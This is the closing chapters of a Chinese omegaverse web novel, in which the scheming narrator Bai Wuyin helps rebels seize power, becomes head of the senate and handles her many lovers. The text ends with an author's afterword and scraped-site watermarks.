年轻的beta孤零零地坐在一边,与对面的人群形成了巨大的对比。 罗拉蒂尼不再摆出那亲和包容的笑容,而是展露出真正的冰冷,“帕菲尔隆多告诉你的。” “对。”白无垠继续点头,“他也是个有野心的人,我只是和他打了个赌。” 罗拉蒂尼不关心赌约,但她必须要在白灯湾做出反应前立刻摧毁第二个信号塔,于是简单明了询问:“你要什么?” “你有什么,我就要什么。” 罗拉蒂尼冷笑,“无垠,你又能从我手里拿什么?” “自然是要看你给我准备了什么。”白无垠也跟着冷笑,“你原本就没打算给我多好的东西。也许有给未来的我准备好东西,但时间太长了,我不想等。” “你的学生是番苏,番苏的学生是卡瑟娜,而我什么都没有。” 白无垠的身子微微向前倾,“权利会通过关系传承,而我被你们排除在外,这对我不公平。要知道我在其中付出的不比你们少。” 白无垠伸出两根手指,“我只有两个要求。” 罗拉蒂尼:“说。” “我要参议院院长的位置。”我说道,“而在我之上,除了你再也没有其她人。” 这是一个明面上简单,暗地里却复杂的要求。 罗拉蒂尼明白白无垠的意思。 白无垠要的是不会受制于人的权利,也清楚坐上那个位置的要求太异想天开,干脆退后一步。至于番苏和卡瑟娜,白无垠又不做另外要求,自然是怎么操作都可以。 “第二个要求。”罗拉蒂尼说。 白无垠的目光看向卡瑟娜,一字一句吐字清晰说:“卡瑟娜,她只能是番苏的学生,也只能在军事领域待着。” 这就是白无垠试探出来的底线。 一旦越过这条底线,她面临的就是鱼死网破。 第103章 我之前有个很片面的观点。 我以为权利和金钱只会通过性和血缘关系传播。现在我知道我错了,其实还通过师生关系传播。 罗拉蒂尼,番苏和卡瑟娜就是和典型的例子,而我这个外来人被很好地排除在外。 我实实在在地踩住了罗拉蒂尼的底线,也是毫无顾忌地当着番苏和卡瑟娜的面把属于她们的那一层利益咬出来。 但巨大的风险后面是巨大的收益。权利会美化风险,而风险会反哺权利。 这就是为什么所有人趋之若鹜的理由。 罗拉蒂尼的眼眸里泛着冷意,仔仔细细地打量我。 而番苏和卡瑟娜就站得稍微后一些,我没法看清楚她们的表情。但我不在乎,我相信只要罗拉蒂尼点头,她们还是会摆出和我平时相处的表情与我谈笑风生。 “还在考虑吗?”我问,“距离白灯湾重新链接通讯,到诺伊娃对外谈判,你觉得我们还剩下多少时间?” “阿丽已经到达信号塔的位置,只要你点头,我会立刻通知她摧毁信号塔。” 罗拉蒂尼看着我,突然扬起了熟悉的亲切无奈笑容,仿佛刚才的冷凝氛围不存在般。 她说:“无垠,当初如果我再坚持会将你带回来,或许我们根本不会有现在这样的谈判。” “你就不怕我们过河拆桥?” 我耸肩摊手,“首领,你想错了,以我的性格不仅会和你谈判,如果有机会我甚至会杀了你和帕菲尔隆多。” “而且我做任何事情都喜欢给自己留一条后路。” 罗拉蒂尼同意了。 从谈判楼出发,朝着巨大的白色光束走去。 商业街区,巨大的屏幕内,诺伊娃还在对着屏幕外的人念演讲稿。 “白灯湾从未放弃过上行城和克亚区的公民,白灯湾始终为合法纳税的公民们提供庇护,白灯湾与你们同在。” 她像是个机器人,咬字清晰却语调平淡,看似对准了摄像头,实际上眼底一片虚无。 巨大的白色光束越来越近。 来到光束脚下,我抬头仰望,只感觉这白色的光柱直穿云霄,将光束内部和外部分割开来。 现在正是朝霞最盛的时间,可太阳光根本穿不透光束。 光束外有一层封锁的玻璃,必须由人从内部打开。 我站在最前面,先给自己吞了一颗药。 光束分割成出了一个长方形的形状,alpha男性从内打开了玻璃门。 “总算是来啊。”隆多说道。 所有士兵围在光束外,门不允许关闭,但进去的人只有四人。 隆多走在最前面,我们则是跟在他身后。 走廊宽敞空旷,但我闻到了一股若有若无的血腥味。 脚下是金属材料制作的地面,我低头看,能看见自己被金属扭曲的身形。 脚落下一步,就能听见鞋跟与金属碰撞的脆响。 两边的墙壁也是由金属制成,手感冰冷厚重,可能是较为久远缺少保养,能看见清晰的刮擦痕迹。 我又把视线聚焦在前面的隆多身上。 他的裤腿有血渍。 看来阿丽把隆多家族里帕菲尔之外的所有人都杀了。 双腿迈入最后的房间里,我也彻底看清楚了所有的细节。 阿丽蹲在巨大的屏幕下面,脸上和身上都是血。 她没什么表情,只是想从倒下去的尸体中寻找一块稍微干净点的布料擦拭匕首。 只是还没擦干净,抬头看见我后就放弃了,而是站起来视线看向我身后的番苏和卡瑟娜。 “阿丽,没事。”我说道。 阿丽眯了眯眼睛,“没有问题了吗?” “没有其他要杀的人了吗?” “没有,而且快结束了。”我回答。 阿丽才松一口气似的。 她匕首上的血也不擦了,直接塞进裤腰里,找到一个位置坐下来休息。 隆多家族太多人了,就算有帕菲尔的帮助,也很难搞定。 我则是让出一个位置,十分谦虚地做出“请”的手势,笑眯眯对罗拉蒂尼说:“请,首领。” 巨大的屏幕上光芒闪烁,经过短暂的信号连接后,一张病床出现在画面里。病床上方还分割出一个小屏幕,上*面正是重复念稿的诺伊娃。 罗拉蒂尼含着笑容,透过屏幕看着病床上的女人。 “总统阁下,您快要死了吗啊?” 我默默把脸转过去了,假装没听见这友好的问候。 病床上的总统很瘦削,面颊凹陷,眼角青黑,显然很久没有休息了。 我观察她上方正在念稿的诺伊娃,发现眉眼间竟然有些相似。 但我直觉这不是总统的女儿,也不是姊妹。 总统看起来很疲惫,但一双黑色的眼睛深邃沉重。 “还没到死的时候,但也差不多了。” 罗拉蒂尼轻笑,“如果不是我,你会让诺伊娃替你接管白灯湾?恕我直言,那个孩子不适合,她根本没有学会怎么做人类。” “她连性别都没有。” “但只有这样的人,才更适合未来。”总统回答,“她没有腺体,连beta都不是,但她拥有omega的生育能力,也能完成孤雌生殖。” “她很好,只是还没适应。” 诺伊娃还在继续念稿,表情从未变幻,也感觉不到疲惫似的。 我看得毛骨悚然,又觉得骨子里某种兴奋正在蠢蠢欲动,于是干脆举手打断两人的对话。 “所以她到底是什么?还是人类吗?你生出来的?” 总统慢悠悠地将视线扫过来,钉在我的身上。 “我认出你了,你是当年无人区里唯一一个beta婴儿。我原本想把你带走,但失败了。” “你比诺伊娃更适合做实验。” 我顿时掉了一身鸡皮疙瘩,“那还是算了吧。” 虽然我口嗨过让总统当我妈,但真有这回事,看着诺伊娃的样子我是一万个不愿意。 “诺伊娃算得上人类,但不是正常的人类。”总统说道,视线看先了屏幕之外的地方。 我猜测那是诺伊娃所在的方向。 “她需要学习怎么做正常人。” 罗拉蒂尼:“我可以接受她,但你只能待在群岛。” 病床上的女人沉默了。 她没有反扑的余地。 叛乱党破釜沉舟破坏了群岛的防御,两座信号塔也被摧毁,她自己更是病入膏肓。 就连提早准备多年的白矿石,在此时都被拿走。 似乎一切能用来反抗的资本都被推翻。 于是,总统只能沉重地点头。 上方念稿的声音戛然而止。 诺伊娃抬起头,身子向后转似乎在看什么。 也不知道过了多久,诺伊娃又把身子转了回来,重新挂起温柔和煦却充满公式化的外交笑容,念起了截然不同的演讲稿。 “各位上行城、克亚区、军事区、无人区以及群岛的公民们,我是负责此次宣读的诺伊娃。” “总统阁下经过深思熟虑,为了保证公民们的财产和生命安全,于9月4日早上时间10点12分正式将白灯湾控制权交给重构组织首领罗拉蒂尼。” “此次谈判中,双方充分地交流了意见并达成一致。” “谈判即刻生效,群岛公民将在9月4日下午3点30分乘坐特定游轮回往大陆,正式编入上行城公民身份。” “生效后,总统阁下自动卸任。” 平淡的女声回荡在上行城的上空,宣告上一场政治圈的落幕。 但这并不能被人接受,尤其是上一场政治圈的赢家。 大家都吃得好好的,吃得满嘴流油,浑身肥膘,坐在人肉椅子上,突然就被告知权利更迭,没有人会愿意。 如果新的总统原因给老派家族分一杯羹,那自然是皆大欢喜。 但很显然,新总统不愿意。 首先,这位新总统是一位omega,这不符合大家对omega的社会定位。 其次,她背叛了自身的阶级。作为收天龙人钱的教皇,她竟然为底层杂种们讨利益。 最后,竟然不接受橄榄枝。 这不对,不符合社会学常识,所以不接受。 9月4日下午6点01分,群岛公民搭乘的游轮到达港口。 9月4日晚上8点41分,一场由旧政治圈人法器的武装反抗开始。 9月4日晚九点整,新政府排除军队进行镇压。 9月4日晚上9点整,克亚区公民自发加入武装镇压队伍,冲入部分旧政治圈人物家中。 9月4日晚11点29分,上一场政治圈真正意义地落下帷幕。 9月5日零点整,商业街中心屏幕上再次出现一道身影。 “今天是9月5日,新政府成立的第一天。” “我是新政府参议院院长白无垠,现代表新政府向各位公民宣告政府的最新公民秩序。” 白无垠的身后是建筑物废墟,脚下是临时搭建起来的高台。 一张简单的桌子,红色的桌布,还有一个麦克风,连演讲稿都没有。 小林灰头土脸地站在后面一点的位置,和士兵一起抬高灯光,确保现场明亮。 “新政府确认,将拆除无人区,并给予任何在联邦领土范围内的人公民身份。” “取消上行城公民特权,取消克亚区公民额外消费税至上行城同等水平。” “新增公民权利基本法案,增设侮辱人格罪。” “新法案将对公民一词进行新解释:公民身份仅代表公民出生地址,所有权利均等且自由。” 念出了不怎么标准的一长串解释后,终于有人把一条长长的清单交上去。 在镜头的注视下,白无垠拿着清单从第一条开始念。 “以下,为旧政府清算名单。名单上宣读的姓氏或个人均犯下杀人,贿赂,欺压,不合理增税等罪行,严重侵犯了新政府公民的多项权利。” 她一个一个念出来,并在后面念出了姓氏所属家族的罪名。 有期徒刑,无期徒刑,死刑。 在这一场斗争下,无论前者扎根了多久,在后者的拍打下都成为了浮游。 “霍里家族。”白无垠念出了这个熟悉的姓氏,却没有丝毫停顿。 柯里亚纶霍里,邦林顿霍里以贿赂罪和买凶杀人罪分别获得无期徒刑和有期徒刑,并上缴所有财产,剥夺政治权利。 电视机前,克斯蒂简死死盯着屏幕。 客厅内一片狼藉,豪华的水晶吊灯也落在了地面上。 克斯蒂认得出来,闯入别墅内士兵手中拿着的正是他亲手送给白无垠的货物。 上面有简家族特有的印记,连编号都是连续的。 但克斯蒂无暇顾及太多,只能死死盯着屏幕。 清单太长了,白无垠口干舌燥念了一个小时也没有念完。 会有简家族的清算吗? 他会死吗? 克斯蒂甚至没空去痛恨白无垠的欺骗和隐瞒,也没空去憎恨那些闯入别墅的士兵,只是大脑空白,精神高度紧张地等待宣判。 9月5日,凌晨2点20分,清单终于念完了最后一个姓氏。 “没有……没有。”克斯蒂倒在了破碎的水晶灯边,虚弱地搀扶灯柱。 简家族做的对,不参与政治斗争的好处,就是在落幕时明哲保身。 克斯蒂空茫地注视屏幕,忽然想起来一件事。 缇温简呢? 他又哪里去了? “走吧。”有人站在克斯蒂身后。 克斯蒂回过头,发现正是缇温简。 “去哪?”克斯蒂说,“去坐牢?还是去看从前的同盟?她们会不会让我亲自去处刑场看他们死刑?” 缇温的眼角有些青黑。 他揉了揉太阳穴,继续说:“你是参议员,你想偷懒吗?” “要是我们不乖乖听话,白无垠下一个就要拿我们开枪。” 克斯蒂:…… 他当然知道这个道理。 霍里家族只剩下微莎一个人,财产被清算,孤家寡人一个。 隆多家族也被清算,只剩下一个帕菲尔。 陪审团的人更是死的死。 简家族根本没有反抗的余地,除了听话外别无他法。 克斯蒂从地上爬起来,omega的性别让他下意识地想要整理形象,但很快又觉得算了。 他和缇温坐上了专车,前去临时政治大楼。 来到一楼,克斯蒂发现这里竟然是一个简单的写字楼。 白无垠靠着前台,发现他进来后立刻扬起了熟悉的笑容。 但这一抹笑容又有些不一样。 不再是惹人怜爱的弱势表情,也不是面对情人的暧昧和依恋,而是一种豁然开朗的笑容。 她朝着克斯蒂迈开步伐,然后走到克斯蒂面前,熟练地牵起了克斯蒂的手放在唇边轻吻,一下又一下,像是安抚般。 “克斯蒂,我等了你好久。”白无垠抬着眉眼说道,“你看起来好狼狈,是有人欺负你了吗?” “你是参议员,是我亲自提拔上来的参议员,没人能欺负你。” 克斯蒂勉强扯了扯嘴角,露出一抹笑容。 他聪明地没有开口质问白无垠的欺骗,也没有问这个新的名字从哪来的,更是没有询问陪审团该怎么处理。 “克斯蒂。”白无垠叫着他的名字,用熟悉又陌生的语气温声说:“你能帮帮我吗?帮我再往前走一点,你一定能帮我。” “你帮了我那么多次,你亲眼看我爬上来了,你很高兴对不对?” 克斯蒂不知道自己是什么表情,只觉得眼眶被水雾覆盖。 一阵阵耳鸣钻进大脑,克斯蒂只听见自己说了一个字。 “好。” 透过水雾,克斯蒂看见白无垠扬起了笑容。 “我爱你,克斯蒂。我知道你喜欢听我说这些话,我以后也会继续说的。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第104章 新政府的成立很顺利,但新政府的运行遭遇了些许困难。 一些没有被清算的家族抱着侥幸心理,自认为能够凭着手中的权利掰扯两下,算计上更多的利益。 对于这一点,我和番苏合伙提议把这些人一半家产充公去重建公共设施。至于消极怠工不愿意干活,那就直接把人踹下去。 新政府刚刚建立,还一大堆空缺的位置和更多想要往上爬的人,你不干有的是人干。 当然,不仅是要把空缺的位置补上,还要把组织内有用的人都塞进去。 辛罗娅回到上行城见到新总统第一眼就伸出手讨要实验经费,还把诺伊娃也给接走了。 “为什么不给我?她就应该给我!不然我上哪做实验去?你陪我做啊?”辛罗娅指着我说道。 诺伊娃乖乖站在她身边,对自己的未来的命运丝毫不清楚。 我举起双手表示赞同,“所以你向总统要了多少钱?” “也不是很多,才一百亿而已。”辛罗娅张口就来。 我:“我记得我昨天向她要工资,她跟我说没钱。” 辛罗娅:“实验室的钱,那叫钱吗?那叫理想研究资金!” 我立刻感觉一阵愤愤不平。 不是,罗拉蒂尼你怎么回事啊,我给你当牛做马三个多月,未来还有几十年,怎么一点工资都不给我发! 而且我都要结婚了! 没错,我还是没有逃过结婚的命运。 虽说不是豪门赘媳,而是豪门联姻,但说出去不知道为什么有一股子莫名的羞耻感。 天,我竟然退化出了羞耻心,由此可见权利侵蚀起人类的意志是多么迅速。 我很快就要变成之前自己鄙夷的天龙人了(虽然很爽就是了) 好吧,话题转回来,我现在一点都不相信罗拉蒂尼口中的没钱。 我和番苏今天早上才搜刮了十几个别墅,一大堆财产充公。我就不相信我那十几万的工资拿不出手。 于是我摩拳擦掌地就打算跑去临时政治大楼找罗拉蒂尼。 “总统阁下在休息。”卡瑟娜说道。 我只能作罢,转身就要走。 卡瑟娜却跟上了我,和我并肩走在一起,“诺卡想和你见一面。” 我敷衍答应一声,“好,晚点。” 没错,我要结婚的人就是卡诺卡。 卡瑟娜的上升通道被我关闭了,我就得另想办法补偿卡瑟娜,确保卡瑟娜未来不会在我背后捅刀子。 联姻就是一个化干戈为玉帛的好办法,或许在未来我还能借着这条线往前走更远。 我以为卡瑟娜还会说点什么,例如警告我好好尽一个法定配偶的义务不要花心泛滥之类的。但卡瑟娜竟然什么都没说! 于是我那该死的造反心态就上来了,“我以为你要骂我两顿。” 卡瑟娜眼神复杂了些,欲言又止好几秒,才说:“不指望。” 不指望我有良心有道德吗? 那很好了,你做的对。 不过卡瑟娜确实给了我一个提醒,让我掰着手指头算算我还活着的情人有多少个。 这么说好像有点地狱,但考虑到各种会影响未来的因素,我还是得整理整理。 正好中午之后没什么事情做,我就回去了现在的居所。 开门,我就对上了阿沐那张臭脸。 他的手还拿着菜刀,见了我后扯出一抹冷笑,指着客厅里坐着的几个人,说:“终于回来了啊,白院长。” 我:“你又发什么疯?” 阿沐哽住,凶巴巴瞪了我一眼,说:“你那些小情人,你自己解决。” “不解决好,中午你就别想喝汤。” 他对着我骂完,又扭头对客厅里几个男人怒骂几句,就脚步匆忙跑去厨房。 没一会就传来发泄似的切菜声音,噼啪作响跟打仗似的。 可枪没打出几个子弹,他又慢慢把力道泄下去了,静悄悄的鬼鬼祟祟伸出一只耳朵来听客厅的动静。 我把视线从厨房移开,挪向这一屋子的人。 也没有很多啊!不就是祁圆,怕菲儿隆多,克斯蒂简还有缇温简。而且阁新为什么会在这里,我跟他清清白白! 而且不是还死了很多个嘛,阿沐那么纠结干什么?说不定以后还会继续死呢? 我轻轻咳嗽一声,以万能开场白说出今天面对情人们的第一句台词:“大家中午好,吃了吗?” 没人愿意给可怜的我一个面子,全都安静不出声。 最后我受不了了,是祁圆大发慈悲地笑出声,“哈哈哈!” 看吧!我那么喜欢找祁圆做手术是有原因的,他就不会不给我面子! “咳咳,大家说说来找我有什么事吧。”我满意地放下手,挨着祁圆坐下来。 祁圆也自然地靠着我,胸膛自然地贴住了我的手臂,“来给你送新婚礼物啊,白院长。” 他嗔怪瞪我一眼,视线懒懒地扫过客厅里其他人,“哪里想到你那么忙哦,死了那么多人,还剩那么多人。” “你这么说,你看她今晚留你在床上吗?”阁新吐出一句阴阳怪气。 克斯蒂坐在稍微中间的位置。omega的修养让他不屑于如alpha和beta那样做出不体面的事情。 “我只是来商量工作,至于新婚礼物,等白院长结婚了再送也不迟。” “至于阁先生,我不记得有你这号人物。” 这会祁圆还没开口呢,缇温就轻嗤笑一句,“初恋不是,也没承认过,自己就贴上来了,也不知道怎么回事。” “可能是贱吧。” 我坐在沙发上当缩头乌龟,只觉得缇温骂得好脏哦。 但是我爱听这个,你快多说一点。 正说话呢,阿沐就冷脸端着汤出来,“什么初恋?谁是初恋?” “那么大的脸,都和无垠在无人区待过?” “无垠学会打人那会,你们都还在家玩泥巴呢。” 他把装汤的锅重重放在桌面上,冷声对众人说:“给我过来装饭装菜,一个个就知道吵架不会干活。” 祁圆撇嘴,从我的手臂挪开来,“什么臭脾气,真讨厌。” 而一直表现得昏昏欲睡的帕菲尔也跟刚刚醒来一样睁开眼,顺其自然地站起来去厨房开始拿碗装快。 就跟自己家一样,相当顺畅。 这个氛围我觉得有些古怪,于是我也站起来要去厨房帮点忙,被阿沐推出去了。 “你来干什么?你什么都干不好,坐回去吃饭就行。” 我耸肩,“好哦。” 于是我又坐回了餐桌前等饭吃。 刚刚坐稳,窗户外面就翻进来两个人。 阿丽和卡萨旁若无人地找到一张凳子坐下来,然后也开始等吃饭。 “我叫你们来了吗?”我满脸问号。 阿丽抬头,眨着眼睛看我,“卡萨说你叫我来。” 卡萨:“我觉得你会叫我来,但我不麻烦你,所以我带着阿丽不请自来。” 我举起大拇指,“没有你的饭。” “把你的饭让给我吃。”卡萨说。 她就跟没看见旁边几个人似的,阿沐把饭碗放在桌面上,她就开始往嘴里塞饭。 于是一顿要朋友有朋友,要情人有情人,要家人有家人,要凑数有凑数的饭就开始了。 我估摸着,结婚了之后得找一个更大点房子,不然一大堆人吃饭桌子坐不下。 还得做找两个厨师,阿沐一个人做饭做不来。 嗯……卡诺卡好像会做饭,那应该够了。可如果让卡诺卡做饭,卡瑟娜会打我吗? 于是我吃饭到一半,试探性对阿沐提议说:“以后家里人那么多,不如多找几个人回来做饭吧。” 阿沐给我夹菜的手停顿下来直愣愣看着我,忽然眼眶一红,碗筷一放就起身跑去阳台了。 我:“你又怎么了!” 下一秒,我就被其他几人瞪了一眼。 克斯蒂不轻不缓地说:“无垠,不吃饭就不要对厨师指手画脚了。” “啊?我吗?”我大受震撼,“我对他指手画脚了吗?” 阁新也瞥了我一眼,和祁圆一起去阳台安慰了。 阳台门没关,我还听见阿沐一边哭一边骂我,说我就只知道享福,估计结婚没几天就要把他踢出家门。 祁圆没舍得骂我,就安慰他说他厨艺很好,厨师这个帽子没人能摘走。 阁新就不客气,对着我的不识好歹痛骂,又安慰阿沐说卡诺卡不会喜欢做饭,以后阿沐想怎么做饭还是他自己说了算。 卡萨看热闹好不自在,桌子下面用腿踹我,“你看你,你把他惹哭了,以后你想吃番茄炒鸡蛋,他就给你做韭菜炒鸡蛋,不急死你。” “这么严重的吗?” 阿丽吃饭到一半被卡萨抬起来,想了想也觉得很严重,点头附和说:“嗯,我不喜欢吃韭菜。” 缇温顶替了阿沐的位置,给我的碗里夹菜。 他显然对刚才阿沐呛他的那句耿耿于怀,于是说:“又不是初恋,也不是第一个,让他别那么累还不乐意。” 坐在最边缘的隆多意味不明地笑了一下,迷蒙的视线终于聚焦到我脸上,用一句话杀死比赛。 “你说的两种不都是昂撒斯科特么?” 此话一出,其他人包括我都闭嘴了,乖乖吃饭。 过了好一会,阿沐几人也回来了,坐下来吃饭。 一切都显得那么和谐,感觉不会再死人了。我心里想道。 吃过了中午饭,克斯蒂和缇温和我说了些参议院上的工作。 柯里亚纶被打下去后,还空出来七八个位置。加上权力结构的变动,还得再增加几十个人进来。 这部分人不好操作,我得保证自己的地位不被动摇,还得保证其他人有利可图,我更得保证几方党派之间互相平衡,简直难搞。 我想把卡萨拉进来,但她对政治不敢兴趣,继续待在卡瑟娜手下攒军功,相信过不久就能接受中士头衔。 阿丽倒是很有用,但她的智力不适合玩政治,还容易被人骗,还不如留在我身边保护我的安全。 在我身边有点脑子的人中挑来挑去,发现只有隆多最适合,于是把他塞进大法院里做了个法官。虽说没多大的职务,但有用。 等到了晚上选人的事情还是没找落,时间却差不多到了。 揣着疲惫的心情,我来到了卡瑟娜所在的居所。 卡瑟娜没回来,应该是忙着处理军队搬迁的事。 是卡诺卡出来迎接的我。 他看着有些憔悴,也忘记精心打理头发,眼下甚至有些青黑。 “卡瑟娜说,你要见我一面。”我说道,“你可以直接给我发信息,诺卡。” “我们是订婚关系,再过七天就结婚了。” 我没有好心肠问他到这个地步是否真的愿意和我结婚,如果不愿意会不会把他放走。 虽说卡瑟娜这个弟控说不定真会因为卡诺卡不愿意就取消订婚,但我不愿意。 肉都到嘴边了让我不吃,这不是欺负老实人吗? 卡诺卡的脸色有些苍白,却还是遵循着omega的教养,上前替我把外套脱下来挂在架子上。 “我只是,只是想和你说些话。”他说道。 我低着头,观察卡诺卡的表情。 他比之前看起来温顺乖巧和很多,尤其是面对我这个“杀母仇人”。 但仔细一想,其实我也没干多少事情,要真有那么复杂的情绪,应该是对准卡瑟娜。 毕竟一开始就背叛母亲的人是卡瑟娜,我只是顺水推舟。 也许是经历的事情太多,卡诺卡难得聪明了一点,觉得如果不是他听信了番苏的蛊惑枪杀约西尔,说不定就到不了如今这个地步,他就还能继续享受着母亲的宠爱,姐姐也还是旧政府的大将军(现在也是好吧),未婚妻更是前途有望的副院长(现在更有前途!) 卡诺卡竟然一点苦都没有吃,这对吗? 嘶—— 我内心抽气,感慨这才是真赢家,从开局躺到现在,还能安安稳稳过日子。 不过我是绅士,我不会责怪法定配偶的躺赢行为。 我甚至感觉到高兴,因为我知道这样的卡诺卡永远也走不出包围圈,再怎么长大,也没法真的学会独立和认真思考。 这就是卡特勒教养出来的结果。 所以面对这样可爱得类似于蠢猫的卡诺卡,我能生出很多耐心。 “你想和我说什么?”我捧着他的脸含着温柔说道,“诺卡,你什么都可以告诉我,我们之间没有秘密。” 卡诺卡拽着我的衣角,犹豫了好久,才磕磕巴巴说:“你,你记得微莎霍里吗?” 我当然记得啊,霍里家唯一幸存者嘛。 “我记得他,他怎么了?”我问。 “我杀了约西尔。”卡诺卡说道,声音越来越轻,带着些许的期盼和忐忑,“他只是个omega,家产也被没收了,他需要谋求一份养活自己的工作。” 有些出乎我意料。 卡诺卡枪杀约西尔的时候不觉得愧疚,霍里家族整个倒塌了,他却开始愧疚了。 甚至想要安顿好微莎霍里。 看着他眼底的忐忑不安,我轻笑起来,“当然可以,诺卡,这是我们应该做的。” “只是他和我们之间有些隔阂,你要确保他在后面不会做什么对我们不利的事情。我相信你能做到的,对吗?” “我当然可以!”卡诺卡眼眸一亮,随后微微湿润。 他把脑袋低下去,缩在我的怀里,“你愿意听我说话就好。” 我任由他缩着。 也不知道他在我怀里哭了多久,他沙哑着声音说:“我也能帮你的,你让那些人乖一点,不要闹我。” “你的弟弟……我是说阿沐,他想来做饭,就做饭吧,我不会和他吵的,但我也会和他一起做的。” 我:……阿沐对厨师这个职位的固执已经人尽皆知了吗? 全文完—— 作者有话说:终于完结了! 虽然死了很多人,但不是还有很多活着嘛(爽朗地笑) 咳咳,不过估算错误,没想到那么快就完结了。我也完全意识到了自己的短板,争取下一本不会再犯同样的错误,加油改进! 下一本就是鬼怪模拟器,只是还有些细节需要确认,不知道开文是什么时候了魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m